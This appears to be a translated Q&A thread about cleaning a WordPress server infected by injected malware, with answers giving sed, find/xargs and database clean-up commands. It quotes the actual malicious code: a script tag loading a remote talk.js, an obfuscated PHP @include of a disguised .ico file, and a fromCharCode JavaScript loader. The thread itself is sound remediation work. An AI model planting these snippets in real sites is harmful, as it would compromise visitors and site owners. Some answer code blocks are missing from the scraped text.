Então, todo o meu servidor foi hackeado ou teve o problema de malware. meu site é baseado no WordPress e a maioria dos sites hospedados no meu servidor é baseada no WordPress. O hacker adicionou essa linha de código a cada arquivo e no banco de dados
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>
Eu pesquisei via grep usando
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
Estou tentando substituí-lo por toda a estrutura do arquivo sed
e escrevi o seguinte comando.
sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php
Estou tentando substituir a string em um único arquivo index.php
primeiro, então sei que funciona.
e eu sei que meu código está errado. Por favor me ajude com isso.
Eu tentei com o código do @ Eran e ele excluiu toda a linha, o que é bom e como esperado. No entanto, o jargão total é este
/*ee8fa*/
@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";
/*ee8fa*/
E embora eu queira excluir todo o conteúdo, desejo manter a tag de abertura do php <?php
.
Embora a solução da @ slybloty seja fácil e funcionou.
para remover completamente o código de todos os arquivos afetados. Estou executando os 3 comandos a seguir, obrigado a todos por isso.
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"
- Para remover a linha de scriptfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'
- Para remover a@include
linhafind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'
- Para remover a linha de comentário
Além disso, executei todos os 3 comandos novamente para '*.html'
, porque o script do hacker criou index.html indesejado em todos os diretórios. Não tinha certeza se a exclusão desses index.html em massa é a abordagem correta.
agora, ainda preciso descobrir os arquivos indesejados e seus rastros.
O script do hacker adicionou o código JS também.
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
Tentando ver se consigo sed
também.
while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"
A-l
opção fornece apenas o nome do arquivo e não o texto correspondente.sed -i
. Por exemplo,sed -i.bak
criará um*.bak
arquivo para todos os arquivos editados. Quando usado com owhile...grep
loop, você fará backup apenas dos arquivos que continham essa sequência. Desculpe por todos os comentários adicionais, mas, na minha opinião, o malware é um cenário "de mãos dadas".Respostas:
Use aspas duplas (
"
) para a sequência e não escape das aspas simples ('
) nem das tags (<>
). Apenas escape das barras (/
).fonte
Qualquer que seja o método que você decida usar com o sed, é possível executar vários processos simultaneamente em vários arquivos com opções de filtragem perfeitas com
find
exargs
. Por exemplo:Será:
find
- encontrar-type f
- apenas arquivos-name '*.txt'
- que terminam com php-print0
- mantenha-os separados por zero bytes| xargs -0
- para cada arquivo separado por zero byte-P7
- execute 7 processos simultaneamente-n1
- para cada arquivosed
- para cada arquivo executado sed-i
- edite o arquivo no local'...'
- o script sed que você deseja executar a partir de outras respostas.Você pode adicionar uma
-t
opçãoxargs
para ver o progresso. Veja man find (man args] ( http://man7.org/linux/man-pages/man1/xargs.1.html ).fonte
Aspas simples são feitas literalmente sem caracteres de escape. Em
var='hello\''
, você tem uma cotação não fechada.Para corrigir esse problema, 1) Use aspas duplas para colocar o
sed
comando OU 2) Finalize a string entre aspas simples, adicione\'
e reabra a sequência de aspas.O segundo método é mais confuso, no entanto.
Além disso,
sed
pode usar qualquer delimitador para separar comandos. Como você tem barras nos comandos, é mais fácil usar vírgulas. Por exemplo, usando o primeiro método:Usando o segundo método:
Este exemplo é mais educacional do que prático. Aqui está como
'\''
funciona:Primeiro
'
: final da cadeia literal entre aspas atual\'
: Insira aspas simples como caractere literalSegundo
'
: Digite novamente a string literal entre aspasEnquanto não houver espaços, você continuará seu
sed
comando. Essa ideia é exclusiva parabash
.Estou deixando o escapado
<
e>
lá dentro, porque não tenho muita certeza do que você está usando.sed
usa o\<
e\>
para significar correspondência de palavras. Não tenho certeza se isso é intencional ou não.Se isso não corresponder a nada, provavelmente você deseja evitar escapar do
<
e>
.Edit: Por favor, veja a solução de @ EranBen-Natan nos comentários para uma solução mais prática para o problema real. Minha resposta é mais um recurso sobre o motivo pelo qual o OP estava sendo solicitado a fornecer mais informações com seu comando original.
Solução para edição 2
Para que isso funcione, estou assumindo que você
sed
tem a opção não padrão-z
. A versão GNU dosed
deve ter isso. Também estou assumindo que esse código sempre aparece no formato com 6 linhasComo funciona: estamos usando o início da linha fromCharCode para corresponder a tudo.
-z
divide o arquivo em nulos em vez de novas linhas. Isso nos permite procurar feeds de linha diretamente.[^\n]*\n
- Isso corresponde a tudo até um feed de linha e, em seguida, corresponde ao feed de linha, evitando a correspondência de regex gananciosa. Como não estamos dividindo os feeds de linha (-z
), a regexvar pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\n
corresponde à maior correspondência possível. Por exemplo, se\n}\n
aparecesse em algum lugar mais abaixo no arquivo, você excluiria todo o código entre esse código e o código malicioso. Assim, repetir essa sequência 6 vezes corresponde ao final da primeira linha e das próximas 5 linhas.grep -lr
- Apenas uma recursivagrep
onde listamos apenas os arquivos que possuem o padrão correspondente. Dessa forma,sed
não está editando todos os arquivos. Sem isso,-i.bak
(não claro-i
) faria uma bagunça.fonte
rsync
para fazer backup e restaurar.Você tem o plugin wp-mail-smtp instalado? Temos o mesmo malware e tivemos algo estranho
wp-content/plugins/wp-mail-smtp/src/Debug.php
.Além disso, o link javascript está em todos os
post_content
campos dowp_posts
banco de dados do WordPress.fonte
super-socialat
, verifique isso também.Eu tenho a mesma coisa hoje, todas as postagens nas páginas têm esse script de vírus desagradável adicionado
Eu o desativei do banco de dados por
Eu não tenho arquivos infectados pelo menos
não encontrou nada, mas não tenho idéia de como isso entrou no banco de dados do qual não estou calmo.
Essa infecção causou redirecionamentos nas páginas, o Chrome detecta e bloqueia isso. Não notou nada de estranho em - /wp-mail-smtp/src/Debug.php
fonte
Eu tenho a mesma coisa hoje, todas as postagens nas páginas receberam o script. Eu lidei com eles com sucesso usando o https://en.wordpress.org/plugins/search-and-replace/ plugin.
Além disso, também encontrei um registro na sequência wp_posts da tabela post_content após a sequência:
e excluiu-o manualmente.
fonte
Para mim trabalhou isso:
Você deve procurar: * .js, * .json, * .map
fonte